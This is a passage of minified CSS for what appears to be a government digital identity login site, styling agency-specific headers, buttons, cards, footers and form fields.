.digital-id-inner::after{clear:both;content:"";display:block}}header[role='banner'] .header-logo{display:inline-block;position:absolute;left:0;right:10%;margin-right:1em;margin:0 auto;width:90px;top:31px}@media screen and (min-width:576px){header[role='banner'] .header-logo{width:112px;right:0}}@media screen and (min-width:768px){header[role='banner'] .header-logo{width:135px}}@media screen and (min-width:768px){header[role='banner'] .header-logo{left:0;float:left;position:relative;top:22px}}header[role='banner'] .header-logo a{display:inline-block;border-bottom:0;height:35px;width:100%}@media screen and (min-width:768px){header[role='banner'] .header-logo a{height:40px}}header[role='banner'] .header-logo a:hover,header[role='banner'] .header-logo a:active{background:0}header[role='banner'] .header-logo a span{color:#fff}header[role='banner'] .header-logo a .govFont{color:#d7ea6a}header[role='banner'] .header-logo a:focus{outline:0;outline:3px solid #fff;outline-offset:2px;background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}header[role='banner'] .header-logout{background-color:#026540;color:#fff;font-size:1rem;line-height:1.4;padding:11px;position:absolute;right:0;text-decoration:none;top:16px;margin:1px;width:5.5em;height:auto;-webkit-appearance:button;-moz-appearance:button;-o-appearance:button;-ms-appearance:button;appearance:button}header[role='banner'] .header-logout:before{margin-left:1em}header[role='banner'] .header-logout:after{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:44px;border:2px solid #fff}header[role='banner'] .header-logout:hover,header[role='banner'] .header-logout:focus{border:2px solid;text-decoration:underline;background:0}header[role='banner'] .header-logout:focus{outline:3px solid #fff;background-color:#01462c}header[role='banner'] .header-logout:hover{border-color:#fff}header[role='banner'] .header-logout:active{-webkit-transition:background-color .05s;transition:background-color .05s;outline:0}header #close{float:right;width:36px}@media screen and (min-width:576px){header #close{width:40px}}header #agency-header-logo{float:left;width:160px}@media screen and (min-width:576px){header #agency-header-logo{width:200px}}.authAppHeader{background-color:#026540;height:64px}.authAppHeader .header-img{color:white}.codeGenHeader{background-color:#026540;height:64px}.codeGenHeader .header-img{color:white}.exchangeHeader{background-color:#026540}.exchangeHeader .header-img{color:white}.clkWapHeader{background-color:black;height:64px}@media screen and (min-width:576px){.clkWapHeader{height:80px}}.clkWapHeader .header-img{color:white}.clkMapHeader{background-color:#4c6b9d;height:64px}@media screen and (min-width:576px){.clkMapHeader{height:80px}}.clkMapHeader .header-img{color:white}.csaHeader{background-color:#6b2482;height:64px}@media screen and (min-width:576px){.csaHeader{height:80px}}.csaHeader .header-img{color:white}.dvaHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.dvaHeader{height:80px}}.dvaHeader .header-img{color:black}.dhhsHeader{background-color:#eee;height:105px}.dhhsHeader .header-img{color:black}@media screen and (min-width:576px){.dhhsHeader{height:120px}}.ehrHeader{background-color:#eee;height:100px}@media screen and (min-width:576px){.ehrHeader{height:120px}}.ehrHeader #agency-header-logo{width:280px}.ehrHeader .header-img{color:black}.jobsHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.jobsHeader{height:80px}}.jobsHeader .header-img{color:black}.mcaHeader{background-color:#018643;height:64px}@media screen and (min-width:576px){.mcaHeader{height:80px}}.mcaHeader .header-img{color:white}.redrHeader{background-color:#eee;height:90px}.redrHeader .header-img{color:black}@media screen and (min-width:576px){.redrHeader{height:100px}}.ndisHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.ndisHeader{height:80px}}.ndisHeader .header-img{color:black}.vicsroHeader{background-color:#eee;height:90px}.vicsroHeader .header-img{color:black}.vicsroHeader #agency-header-logo{width:90px}@media screen and (min-width:576px){.vicsroHeader{height:130px}.vicsroHeader #agency-header-logo{width:150px}}.exchangeHeader{height:64px}.exchangeHeader #agency-header-logo{width:220px}@media screen and (min-width:576px){.exchangeHeader{height:80px}.exchangeHeader #agency-header-logo{width:400px}}.mcaHeader .unauth-grid,.ndisHeader .unauth-grid,.dhhsHeader .unauth-grid,.dvaHeader .unauth-grid,.redrHeader .unauth-grid,.clkWapHeader .unauth-grid,.clkMapHeader .unauth-grid,.authAppHeader .unauth-grid,.codeGenHeader .unauth-grid,.jobsHeader .unauth-grid,.ehrHeader .unauth-grid,.vicsroHeader .unauth-grid,.exchangeHeader .unauth-grid,.csaHeader .unauth-grid{margin-top:1em}.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{position:relative}@media screen and (min-width:992px){.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}.mcaHeader .inner::after,.mcaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .mcaHeader .digital-id-inner::after,.ndisHeader .inner::after,.ndisHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ndisHeader .digital-id-inner::after,.dhhsHeader .inner::after,.dhhsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dhhsHeader .digital-id-inner::after,.dvaHeader .inner::after,.dvaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dvaHeader .digital-id-inner::after,.redrHeader .inner::after,.redrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .redrHeader .digital-id-inner::after,.clkWapHeader .inner::after,.clkWapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkWapHeader .digital-id-inner::after,.clkMapHeader .inner::after,.clkMapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkMapHeader .digital-id-inner::after,.authAppHeader .inner::after,.authAppHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .authAppHeader .digital-id-inner::after,.codeGenHeader .inner::after,.codeGenHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .codeGenHeader .digital-id-inner::after,.jobsHeader .inner::after,.jobsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .jobsHeader .digital-id-inner::after,.ehrHeader .inner::after,.ehrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ehrHeader .digital-id-inner::after,.vicsroHeader .inner::after,.vicsroHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .vicsroHeader .digital-id-inner::after,.exchangeHeader .inner::after,.exchangeHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .exchangeHeader .digital-id-inner::after,.csaHeader .inner::after,.csaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .csaHeader .digital-id-inner::after{clear:both;content:"";display:block}}.mcaHeader .header-img,.ndisHeader .header-img,.dhhsHeader .header-img,.dvaHeader .header-img,.redrHeader .header-img,.clkWapHeader .header-img,.clkMapHeader .header-img,.authAppHeader .header-img,.codeGenHeader .header-img,.jobsHeader .header-img,.ehrHeader .header-img,.vicsroHeader .header-img,.exchangeHeader .header-img,.csaHeader .header-img{display:block}.mcaHeader .unauth-grid-row,.ndisHeader .unauth-grid-row,.dhhsHeader .unauth-grid-row,.dvaHeader .unauth-grid-row,.redrHeader .unauth-grid-row,.clkWapHeader .unauth-grid-row,.clkMapHeader .unauth-grid-row,.authAppHeader .unauth-grid-row,.codeGenHeader .unauth-grid-row,.jobsHeader .unauth-grid-row,.ehrHeader .unauth-grid-row,.vicsroHeader .unauth-grid-row,.exchangeHeader .unauth-grid-row,.csaHeader .unauth-grid-row{text-align:left}.mcaHeader a,.ndisHeader a,.dhhsHeader a,.dvaHeader a,.redrHeader a,.clkWapHeader a,.clkMapHeader a,.authAppHeader a,.codeGenHeader a,.jobsHeader a,.ehrHeader a,.vicsroHeader a,.exchangeHeader a,.csaHeader a{border-bottom:0;float:right;display:block}.mcaHeader a:hover,.ndisHeader a:hover,.dhhsHeader a:hover,.dvaHeader a:hover,.redrHeader a:hover,.clkWapHeader a:hover,.clkMapHeader a:hover,.authAppHeader a:hover,.codeGenHeader a:hover,.jobsHeader a:hover,.ehrHeader a:hover,.vicsroHeader a:hover,.exchangeHeader a:hover,.csaHeader a:hover{background:0}footer[role='contentinfo']{background-color:#eee;border-top:4px solid #333;margin-top:72px}footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}@media screen and (min-width:992px){footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}footer[role='contentinfo'] .inner::after,footer[role='contentinfo'] .unauth .product-description .digital-id-inner::after,.unauth .product-description footer[role='contentinfo'] .digital-id-inner::after{clear:both;content:"";display:block}}footer[role='contentinfo'] ul{margin-bottom:1em;padding:0}footer[role='contentinfo'] li{list-style:none}footer[role='contentinfo'] .footer-logo{border-top:1px solid #999;padding-top:1em;padding-bottom:1em}footer[role='contentinfo'] .footer-links{margin:1em auto}footer[role='contentinfo'] .footer-links ul{-webkit-columns:2;-moz-columns:2;columns:2}footer[role='contentinfo'] .footer-links li{display:block;margin-right:.8em}footer[role='contentinfo'] .footer-links a{display:inline-block;margin-top:5px;color:#0f6493}footer[role='contentinfo'] .map-footer-links{margin:1em auto}footer[role='contentinfo'] .map-footer-links li{display:block}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links li{margin-right:.8em;-webkit-box-flex:0;-webkit-flex:0 1 -webkit-calc(33.33% - .8em);-ms-flex:0 1 calc(33.33% - .8em);flex:0 1 calc(33.33% - .8em)}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+2){text-align:center}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+3),footer[role='contentinfo'] .map-footer-links li:nth-child(2):last-child{margin-left:auto;text-align:right}}footer[role='contentinfo'] .map-footer-links a{display:inline-block;margin-top:5px;color:#0f6493}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-0.8em}}.badge{border:1px solid #999;border-radius:4px;display:inline-block;padding:.2em .5em}.beta-badge{background-color:#fff;color:#0f6493;font-size:12px;font-weight:900;letter-spacing:2px;padding-left:9px;padding-right:7px;padding-top:2px;padding-bottom:2px;border-radius:50em}#back-to-top{position:relative}#back-to-top:hover,#back-to-top:active{color:#fff;background-color:#0f6493;text-decoration:none}#back-to-top::after{background-image:url("../icons/panel-icon.svg");background-position:50% 50%;background-repeat:no-repeat;position:absolute;height:1.6em;width:1.25em;right:-1.25em;top:0;content:''}.callout-2{background-color:#ebf5fb;padding:1em;border-top:4px solid #0f6493;position:relative;margin-top:1.2em}.callout-2 img#lightbulbicon{max-width:40px;vertical-align:middle}.callout-3{background-color:#ebf5fb;padding-left:1em;padding-bottom:1em;position:relative;margin-top:1.2em}.callout-3 img#infoicon{max-width:40px;margin-right:.5em}.callout-3 p{margin:0}.callout-3 h3,.callout-3 #poro-form #modal-title,#poro-form .callout-3 #modal-title,.callout-3 .poro-form #modal-title,.poro-form .callout-3 #modal-title{margin-left:0}.callout-dxp-block{color:white;background-color:#183052}.callout-dxp{margin:2em;position:relative;max-width:900px}@media screen and (min-width:992px){.callout-dxp{margin:auto}}.callout-dxp h3,.callout-dxp #poro-form #modal-title,#poro-form .callout-dxp #modal-title,.callout-dxp .poro-form #modal-title,.poro-form .callout-dxp #modal-title{margin:2em 0 1em 0}.callout-dxp img{display:block}@media screen and (min-width:768px){.callout-dxp img{margin:2.5em;float:right}}.callout-dxp p{margin:0}.callout-dxp a{margin:1em 0 2em 0;color:white;border-bottom:solid 1px white}.callout-dxp-static{margin:0}.callout-dxp-static h3,.callout-dxp-static #poro-form #modal-title,#poro-form .callout-dxp-static #modal-title,.callout-dxp-static .poro-form #modal-title,.poro-form .callout-dxp-static #modal-title{margin:2em 0 1em 0}.callout-dxp-static p{margin:0}.callout-dxp-static a{margin:1em 0 2em 0}.did-you-know-title{font-weight:bold;font-size:1.1em;margin-bottom:0;margin-left:.5em;margin-top:0;vertical-align:middle;display:inline-block}button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{-webkit-appearance:none;-moz-appearance:none;appearance:none;display:inline-block;height:3.2em;margin:0 1.6em .8em 0;padding:.8em 1.6em;border-radius:1px;border-width:1px;border-style:solid;border-color:inherit;outline:0;text-decoration:none;font-size:1.125rem;width:100%;text-align:center;position:relative}@media screen and (min-width:992px){button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{width:auto}}button[disabled],button.disabled,.button[disabled],.button.disabled,[role='button'][disabled],[role='button'].disabled,[type='submit'][disabled],[type='submit'].disabled,[type='reset'][disabled],[type='reset'].disabled,[type='button'][disabled],[type='button'].disabled{color:#fff}button[disabled],button[disabled]:hover,button[disabled]:active,button[disabled]:focus,button.disabled,button.disabled:hover,button.disabled:active,button.disabled:focus,.button[disabled],.button[disabled]:hover,.button[disabled]:active,.button[disabled]:focus,.button.disabled,.button.disabled:hover,.button.disabled:active,.button.disabled:focus,[role='button'][disabled],[role='button'][disabled]:hover,[role='button'][disabled]:active,[role='button'][disabled]:focus,[role='button'].disabled,[role='button'].disabled:hover,[role='button'].disabled:active,[role='button'].disabled:focus,[type='submit'][disabled],[type='submit'][disabled]:hover,[type='submit'][disabled]:active,[type='submit'][disabled]:focus,[type='submit'].disabled,[type='submit'].disabled:hover,[type='submit'].disabled:active,[type='submit'].disabled:focus,[type='reset'][disabled],[type='reset'][disabled]:hover,[type='reset'][disabled]:active,[type='reset'][disabled]:focus,[type='reset'].disabled,[type='reset'].disabled:hover,[type='reset'].disabled:active,[type='reset'].disabled:focus,[type='button'][disabled],[type='button'][disabled]:hover,[type='button'][disabled]:active,[type='button'][disabled]:focus,[type='button'].disabled,[type='button'].disabled:hover,[type='button'].disabled:active,[type='button'].disabled:focus{cursor:pointer;color:#fff}.button-digital-id-container{display:inline-block;width:100%}.button-digital-id-container .button-digital-id{display:inline-table}.button-digital-id-container .button,.button-digital-id-container button,.button-digital-id-container a{width:100%;padding:.8em 0}.button-digital-id-main-container{margin-top:.5em}@media screen and (min-width:320px){.button-digital-id-main-container{margin-top:2em}}.button-container,.button-digital-id-main-container,.button-container-nomargin{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap-full-width .button,.button-container-mapwap-full-width button,.button-container-mapwap-full-width a{margin-top:2em;width:100%}.button-container-mapwap-full-width .button-main,.button-container-mapwap-full-width .button-minor,.button-container-mapwap-full-width button-main,.button-container-mapwap-full-width button-minor,.button-container-mapwap-full-width a-main,.button-container-mapwap-full-width a-minor{width:100%}.button-container-exchange-web-login .button,.button-container-exchange-web-login button,.button-container-exchange-web-login a{margin-top:2em;width:100%;font-size:1em;padding:.5em 0}.button-container-exchange-web-login .button-main,.button-container-exchange-web-login .button-minor,.button-container-exchange-web-login button-main,.button-container-exchange-web-login button-minor,.button-container-exchange-web-login a-main,.button-container-exchange-web-login a-minor{width:100%}.button-container-mapwap{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap .button{padding:.7em;width:46%}.button-container-mapwap .button:nth-child(2){margin-right:0;float:right}.button-container-centered{display:block}.button-container-centered .button:first-child,.button-container-centered button:first-child{display:block;margin:0 auto}.button-container-nomargin{margin:0}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){margin-right:0;float:right}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{width:43%;padding:.7em}.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{width:auto;height:auto;padding:.7em;display:block}@media screen and (min-width:576px){.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{display:inline-block}}.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-top:1em;margin-left:0}@media screen and (min-width:576px){.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-left:1em;margin-top:0}}@media screen and (min-width:768px){.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button,.button-container button,.button-digital-id-main-container button,.button-container-nomargin button{height:3em;width:auto;margin-right:1.6em}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){float:none}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{padding-right:1.6em;padding-left:1.6em}}.button-container button:first-child,.button-digital-id-main-container button:first-child,.button-container-nomargin button:first-child{margin-bottom:1.2em}.button-container+button,.button-digital-id-main-container+button,.button-container-nomargin+button{float:right;margin:0}.button-container .digital-id-button-container button:first-child,.button-digital-id-main-container .digital-id-button-container button:first-child,.button-container-nomargin .digital-id-button-container button:first-child{margin-bottom:0}.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{color:#fff;height:3em;width:100%;border:1px solid transparent;-webkit-font-smoothing:antialiased;text-align:center;margin:1px;position:relative}@media screen and (min-width:576px){.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{width:auto;padding-left:3em;padding-right:3em}}.button-main:hover,.button-minor:hover,.button-danger:hover,.button-modal-main:hover,.button-digital-id-toggle:hover{text-decoration:underline}.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active{text-decoration:underline}.button-digital-id-toggle{height:auto}@media(max-width:320px){.button-digital-id-toggle{padding-left:0;padding-right:0}}.button-main,.button-modal-main,.button-digital-id-toggle{background-color:#333}.button-main:active,.button-main:hover,.button-main:focus,.button-modal-main:active,.button-modal-main:hover,.button-modal-main:focus,.button-digital-id-toggle:active,.button-digital-id-toggle:hover,.button-digital-id-toggle:focus{background-color:#222}.button-digital-id{color:#fff;background-color:#0f6493}.button-digital-id:active,.button-digital-id:hover,.button-digital-id:focus{background-color:#08537d}.button-main-mapwap{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:.3125rem;color:#fff;font-size:1rem;font-weight:500;min-width:10rem;border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0;width:100%}.button-main-mapwap:hover{text-decoration:none;background-color:#183052;color:#fff}.button-main-mapwap:focus{background-color:#183052;outline:.25rem solid #183052;outline-offset:.125rem}.button-main-mapwap:hover{color:#fff;background-color:#254a7e}.button-main-mapwap:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}.button-minor{color:#333;background-color:#fff;margin:1px;border:1px solid #999}.button-minor:active,.button-minor:focus{background-color:#eee}.button-minor:hover{border-color:#333;background-color:#fff;color:#333}.button-danger{background-color:#b7202d}.button-danger:active,.button-danger:hover,.button-danger:focus{background-color:#a11c28}.button-tertiary{color:#0f6493;text-align:center;display:block}@media screen and (min-width:576px){.button-tertiary{width:initial;padding:.8em 3em;display:inline-block}}.anchor{border:0;white-space:normal;display:inline-block;font:inherit;margin:0;padding:0;outline:0;outline-offset:0;color:#0f6493;cursor:pointer;background-color:white;text-decoration:underline;text-align:center;width:auto;height:auto}.anchor:hover{color:#fff;background-color:#0f6493}.anchor:focus{background-color:#fff;color:#0f6493}body>main button,body>main .button,body>main [role='button'],body>main [type='submit'],body>main [type='reset'],body>main [type='button']{background-color:#333;color:#fff;border-color:#333;text-align:center}body>main button:before,body>main .button:before,body>main [role='button']:before,body>main [type='submit']:before,body>main [type='reset']:before,body>main [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}body>main button:hover,body>main button:focus,body>main .button:hover,body>main .button:focus,body>main [role='button']:hover,body>main [role='button']:focus,body>main [type='submit']:hover,body>main [type='submit']:focus,body>main [type='reset']:hover,body>main [type='reset']:focus,body>main [type='button']:hover,body>main [type='button']:focus{background-color:#333;color:#fff}body>main button:active,body>main .button:active,body>main [role='button']:active,body>main [type='submit']:active,body>main [type='reset']:active,body>main [type='button']:active{background-color:#222}footer[role='contentinfo'] button,footer[role='contentinfo'] .button,footer[role='contentinfo'] [role='button'],footer[role='contentinfo'] [type='submit'],footer[role='contentinfo'] [type='reset'],footer[role='contentinfo'] [type='button']{background-color:transparent;color:#333;border-color:#333;text-align:center}footer[role='contentinfo'] button:before,footer[role='contentinfo'] .button:before,footer[role='contentinfo'] [role='button']:before,footer[role='contentinfo'] [type='submit']:before,footer[role='contentinfo'] [type='reset']:before,footer[role='contentinfo'] [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}footer[role='contentinfo'] button:hover,footer[role='contentinfo'] button:focus,footer[role='contentinfo'] .button:hover,footer[role='contentinfo'] .button:focus,footer[role='contentinfo'] [role='button']:hover,footer[role='contentinfo'] [role='button']:focus,footer[role='contentinfo'] [type='submit']:hover,footer[role='contentinfo'] [type='submit']:focus,footer[role='contentinfo'] [type='reset']:hover,footer[role='contentinfo'] [type='reset']:focus,footer[role='contentinfo'] [type='button']:hover,footer[role='contentinfo'] [type='button']:focus{background-color:#333;color:#fff}footer[role='contentinfo'] button:active,footer[role='contentinfo'] .button:active,footer[role='contentinfo'] [role='button']:active,footer[role='contentinfo'] [type='submit']:active,footer[role='contentinfo'] [type='reset']:active,footer[role='contentinfo'] [type='button']:active{background-color:#222}.button-back{display:inline-block;position:relative;margin-left:1em;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-back:before{content:'';position:absolute;top:-6px;right:2.7em;display:block;width:1.2em;height:2em;background-repeat:no-repeat;background-position:right .4em;background-size:1.125em auto;background-image:url("../icons/chevron-left.svg")}.button-back:hover,.button-back:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-close{display:inline-block;position:relative;margin-left:0;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-close:hover,.button-close:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-back-home:before{right:6.7em}.expand,.dismiss{background-color:transparent;background-position:center center;background-repeat:no-repeat;border:0;right:0;position:absolute;top:0;width:auto}.expand{background-image:url("../icons/error-down.svg")}.dismiss{background-image:url("../icons/dismiss-x.svg")}.help-info-button{all:initial;font-family:inherit;display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;font-size:inherit;line-height:inherit}.help-info-button::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-button[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-button:hover{color:#fff;background-color:#0f6493;text-decoration:none}.card-grid .card-tile{width:100%}@media screen and (min-width:576px){.card-grid{-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.card-grid .card-tile{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-box-flex:0;-webkit-flex:0 1 49%;-ms-flex:0 1 49%;flex:0 1 49%;margin-right:2%}.card-grid .card-tile:nth-child(2n){margin-right:0;border-right:0}}@media screen and (min-width:992px){.card-grid .card-tile{-webkit-box-flex:0;-webkit-flex:0 1 32%;-ms-flex:0 1 32%;flex:0 1 32%}.card-grid .card-tile:nth-child(2n){margin-right:2%}.card-grid .card-tile:nth-child(3n){margin-right:0;border-right:0}}.card{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:16px;padding:1rem;position:relative;text-align:center;text-decoration:none}.card:hover,.card:active{background-color:#fff;color:#333}.card:active{border-color:#ccc}.card img{color:#333;height:60px;width:90%}.card__title{background-color:#eee;bottom:0;display:block;left:0;padding:8px 4px 8px 4px;position:absolute;width:100%;font-size:16px;border-top:1px solid #ccc;height:60px}.card__title span{position:relative;top:50%;display:block;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.card:hover .card__title,.card:active .card__title{text-decoration:underline}.card:active .card__title{background-color:#ccc}.card--link{background-color:#eee;background-image:url("../icons/link-service.svg");background-position:center 25%;background-repeat:no-repeat;border-color:#026540;color:#fff}.card--link .card__title{background-color:#026540}.card--link:hover,.card--link:active{background-color:#eee;color:#fff}.card--link:active{border-color:#027e50}.card--link:active .card__title{background-color:#027e50}.card--quicklinks{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:1em;padding:.5em;position:relative;text-align:left;text-decoration:none;width:100%}@media screen and (min-width:992px){.card--quicklinks{width:32%}}.card--quicklinks h3,.card--quicklinks #poro-form #modal-title,#poro-form .card--quicklinks #modal-title,.card--quicklinks .poro-form #modal-title,.poro-form .card--quicklinks #modal-title{margin:0}.card--quicklinks .info{display:block}@media screen and (min-width:576px){.card--quicklinks .info{margin-bottom:1em}}@media screen and (min-width:576px){.card--quicklinks .notlinked{display:block}}.card--quicklinks .linked{display:block;margin-top:1em}.card--quicklinks img{padding-top:.4em;margin-left:.5em;height:1.5em;position:absolute}.card--quicklinks .quicklinks-arrow{display:inline}form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{width:100%;border:1px solid #999;border-radius:0;background-color:#fff;padding:.7em;display:block;margin:6px 0 6px;overflow:visible;max-width:42em}form [type='text']::-ms-clear,form [type='number']::-ms-clear,form [type='tel']::-ms-clear,form [type='email']::-ms-clear,form [type='password']::-ms-clear,form textarea::-ms-clear,form [type='radio']::-ms-clear,form [type='checkbox']::-ms-clear{display:none}@media screen and (min-width:576px){form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{max-width:42em}}form [type='text']:disabled,form [type='number']:disabled,form [type='tel']:disabled,form [type='email']:disabled,form [type='password']:disabled,form textarea:disabled,form [type='radio']:disabled,form [type='checkbox']:disabled,form [disabled][type='text'],form [disabled][type='number'],form [disabled][type='tel'],form 